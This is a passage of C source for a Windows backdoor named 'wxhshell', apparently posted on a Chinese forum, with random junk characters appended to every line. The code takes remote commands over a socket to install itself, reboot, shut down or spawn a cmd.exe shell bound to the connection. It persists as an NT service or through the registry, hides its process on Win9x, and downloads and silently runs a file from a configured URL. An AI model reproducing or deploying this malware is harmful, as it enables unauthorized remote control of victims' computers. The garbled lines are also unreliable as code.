      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2uN3:_w  
    break; DbLo{mFEIj  
  } bGL}nPo  
  // 安装 J`)/\9'&&  
  case 'i': { M!5=3>Z  
    if(Install()) X-fWdoN @-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J$42*SY  
    else f=}T^Z<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ymqv@Byi8A  
    break; %K')_NS@  
    } n44 T4q  
  // 卸载 EyVu-4L:#  
  case 'r': { #n{4f1TZ  
    if(Uninstall()) @s cn ?t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v]EZYEXFL)  
    else $Wj{B@k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F~fBr  
    break; T9& {s-3*  
    } }T(=tfv@  
  // 显示 wxhshell 所在路径 ~!~i_L\V  
  case 'p': { %(p9AE  
    char svExeFile[MAX_PATH]; `ovMfL.u  
    strcpy(svExeFile,"\n\r"); KJ32L  
      strcat(svExeFile,ExeFile); Q"D  
        send(wsh,svExeFile,strlen(svExeFile),0); tc[Ld#  
    break; )W p7e51  
    } } % Ie  
  // 重启 PN?;\k)"  
  case 'b': { COu5Tu^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xWXLk )A  
    if(Boot(REBOOT)) )1B? <4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aaCRZKr  
    else { \V!{z;.fA  
    closesocket(wsh); 8.. |-<w  
    ExitThread(0); J^yqu{  
    } X,aRL6>r  
    break; @O'NJh{D`  
    } }Vob)r{R@  
  // 关机 HVoP J!K3  
  case 'd': { 4)D~S4{E5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "5<!   
    if(Boot(SHUTDOWN)) ><D2of|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &8l?$7S"_/  
    else { aReJ@  
    closesocket(wsh); 0C%IdV%CU  
    ExitThread(0); \ui'~n_t]  
    } yc?L OW0  
    break; #J3o~,t<  
    } \P+^BG!  
  // 获取shell -*KKrte  
  case 's': { $%\6"P/64  
    CmdShell(wsh); qMVuFw Phi  
    closesocket(wsh); !;(Wm6~*ad  
    ExitThread(0); h[iO'Vq  
    break; iYvzZ7 8f  
  } "*D9.LyM  
  // 退出 {+_p?8X  
  case 'x': { 8g!79q\c4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~mt{j7  
    CloseIt(wsh); 48^C+#Jbc  
    break; Vf~-v$YI  
    } '}(>s%~  
  // 离开 ;@ixrj0u  
  case 'q': { rZpsC}C'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0j4n1 1#  
    closesocket(wsh); dR.?Kv(,E  
    WSACleanup(); LKcp.i  
    exit(1); =,;$d&#*h  
    break; 3Fn}nek  
        } hx&fV#m  
  } #`gX(C>  
  } ~K#92  
As>Og  
  // 提示信息 8CRbo24"s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [zN*P$U]  
} us?q^>u  
  } //|B?4kk  
ElpZzGj+  
  return; AQ(n?1LU  
} 2IW!EUR  
WvT H+  
// shell模块句柄 $t^Td<  
int CmdShell(SOCKET sock) Ewr2popK  
{ kI!@J6  
STARTUPINFO si; T^#d;A  
ZeroMemory(&si,sizeof(si)); *5oQZ".vA*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $dKfUlO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ww7nQ}H5(  
PROCESS_INFORMATION ProcessInfo; OAs>F"  
char cmdline[]="cmd"; 3bezYk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )8g& lyT  
  return 0; =dHdq D  
} h%u!UHA  
+J C"@  
// 自身启动模式 '@+q_v@Jl  
int StartFromService(void) 9-{+U,3)  
{ d9S?dx  
typedef struct w=(dJ(7gu  
{ ;`pIq-=  
  DWORD ExitStatus; H.XyNtJ  
  DWORD PebBaseAddress; "}1cQ|0a  
  DWORD AffinityMask; km9#lK  
  DWORD BasePriority; 7K.],eo0  
  ULONG UniqueProcessId; 7J5jf231  
  ULONG InheritedFromUniqueProcessId; 3GKKC9C6  
}   PROCESS_BASIC_INFORMATION; k3t]lG p  
Ih.)iTs~%  
PROCNTQSIP NtQueryInformationProcess; bcwb'D\a  
:TP4f ?FA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +{=U!}3|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $eT[`r  
./3/3& 6  
  HANDLE             hProcess; (?'vT %  
  PROCESS_BASIC_INFORMATION pbi; *2-b&PQR{  
{ixKc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6(7{|iY  
  if(NULL == hInst ) return 0; Q~ Ad{yC  
hG~.Sc:G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -a>CF^tH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LNR1YC1c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k)D5>T  
`a[fC9  
  if (!NtQueryInformationProcess) return 0; hNYO+LrI)  
zQ,M795@EA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I>l^lv&[+  
  if(!hProcess) return 0; Lz_.m  
q%q+2P>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g}Lm;gs!>  
r ^*D8  
  CloseHandle(hProcess); 2^`k6V!  
B f  y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =&k[qqxg  
if(hProcess==NULL) return 0; 9pj6`5Zn@6  
/mp!%j~  
HMODULE hMod; h {Jio>  
char procName[255]; $Lbamg->E  
unsigned long cbNeeded; jPz1W4pk  
>#&25,Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N.Q}.(N0  
6 F39'  
  CloseHandle(hProcess); #+_=(J  
iuXXFuh  
if(strstr(procName,"services")) return 1; // 以服务启动 ?R sPAL  
,d lq2  
  return 0; // 注册表启动 i9qIaG/  
} l44QB8 9  
4HZXv\$  
// 主模块 2 #yDVN$  
int StartWxhshell(LPSTR lpCmdLine) VuTTWBx  
{ HbPn<x^7  
  SOCKET wsl; 6hR ` sE  
BOOL val=TRUE; C7W<7DBf  
  int port=0; *PFQ  
  struct sockaddr_in door; %zY5'$v `  
x<rS2d-Y  
  if(wscfg.ws_autoins) Install(); P~lU`.X}  
 LDU4 D  
port=atoi(lpCmdLine); u.n'dF-  
=(\BM')l  
if(port<=0) port=wscfg.ws_port; Z Q*hrgQ  
e, 2/3jO  
  WSADATA data; YZ:C9:S6X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F/LMk8RgR  
G `3{Q7k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {0a\<l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Vh=U/{Rp1  
  door.sin_family = AF_INET; Ylu\]pr9|C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8BZ&-j{  
  door.sin_port = htons(port); xj8z*fC;  
qgfP6W$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !fe_w5S^  
closesocket(wsl); @^ &p$:  
return 1; Z;1r=p#s  
} H0])>1sWB  
P'}B5 I~  
  if(listen(wsl,2) == INVALID_SOCKET) { =<PEvIn  
closesocket(wsl); ':tdb$h  
return 1; .w{Y3,dd>  
} X}x\n\Z  
  Wxhshell(wsl); %#&njP  
  WSACleanup(); KTot40osj  
YuIF}mUr"  
return 0; >)diXe}j  
+03/A`PKrB  
} 6;s[dw5T  
2)0J@r'  
// 以NT服务方式启动 1k)pJzsc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +C,/BuG  
{ &\cS{35  
DWORD   status = 0; uF}B:53A  
  DWORD   specificError = 0xfffffff; za 7+xF  
@'M"c q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ="vg/@.>i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]=i('|YG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D{y7[#$h$  
  serviceStatus.dwWin32ExitCode     = 0; H=~7g3  
  serviceStatus.dwServiceSpecificExitCode = 0; ,=G]tnsv^  
  serviceStatus.dwCheckPoint       = 0; dcq18~  
  serviceStatus.dwWaitHint       = 0; i0+e3!QU  
y4IQa.F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zAklS 7L  
  if (hServiceStatusHandle==0) return; L{r4hL [  
kc=Z6(=  
status = GetLastError(); L$);50E  
  if (status!=NO_ERROR) xz.M'az\  
{ 1+7_L`SB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0&Ftx%6%  
    serviceStatus.dwCheckPoint       = 0; 3< 6h~ek )  
    serviceStatus.dwWaitHint       = 0; 6:; >id${  
    serviceStatus.dwWin32ExitCode     = status; LCj3{>{/=  
    serviceStatus.dwServiceSpecificExitCode = specificError; .GNyA DQp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'PFjZGaKR  
    return; q`L )^In"  
  } ae@!M  
2T(+VeMQ=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3}mg7KV&  
  serviceStatus.dwCheckPoint       = 0; jgPUR#)  
  serviceStatus.dwWaitHint       = 0; MXEI/mDYK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T=sAy/1oR  
} ibwV #6  
1HAnOy0   
// 处理NT服务事件,比如:启动、停止 =v<A&4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0QfDgDX  
{ C$C>RYE?.  
switch(fdwControl) + %K~  
{ vV 9vB3K5?  
case SERVICE_CONTROL_STOP: EH M59s|B  
  serviceStatus.dwWin32ExitCode = 0; }#4Ek8nFR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &?1^/]'"r  
  serviceStatus.dwCheckPoint   = 0; <~w3[i=  
  serviceStatus.dwWaitHint     = 0; 6P>}7R}  
  { =0PGE#d{t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w >2G@  
  } srO>l ;Vf/  
  return; NR8`nc1~  
case SERVICE_CONTROL_PAUSE: P3 =#<Q.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lP]Y^Gz  
  break; QE)zH)(  
case SERVICE_CONTROL_CONTINUE: I''n1v?N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3)?WSOsL :  
  break; | V{ Q  
case SERVICE_CONTROL_INTERROGATE: aL90:,V  
  break; M,li\)J!&  
}; f`/('}t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b30Jr2[  
} [ @"6:tTU  
.%.7~Nu,  
// 标准应用程序主函数 SVn@q|N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tH *|  
{ 7(tsmP  
.{`C>/"}  
// 获取操作系统版本 5%fWX'mS  
OsIsNt=GetOsVer(); pO:]3qv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C8Mx>6  
F?H=2mzKbz  
  // 从命令行安装 N#e9w3Rli  
  if(strpbrk(lpCmdLine,"iI")) Install(); U\j g X  
u1#(~[.  
  // 下载执行文件 ?(K=du  
if(wscfg.ws_downexe) { jg{2Sxf!c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i(cKg&+ktd  
  WinExec(wscfg.ws_filenam,SW_HIDE); c@}t@k  
} >ZG$8y 'j  
</xf4.C  
if(!OsIsNt) { R@tEC)Zn  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;A7JX:*?y=  
HideProc(); xypgG;`\  
StartWxhshell(lpCmdLine); SvvNk  
} w <"mS*Q  
else &$_!S!Sa/  
  if(StartFromService()) +By'6?22  
  // 以服务方式启动 dlCYdwP  
  StartServiceCtrlDispatcher(DispatchTable); i}v.x  
else oS9Od8  
  // 普通方式启动 ZxT E(BQv  
  StartWxhshell(lpCmdLine); BQg3+w:>  
&V (6N%A^U  
return 0; `Z5dRLrd  
}
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只看该作者 1 发表于: 2006-10-10
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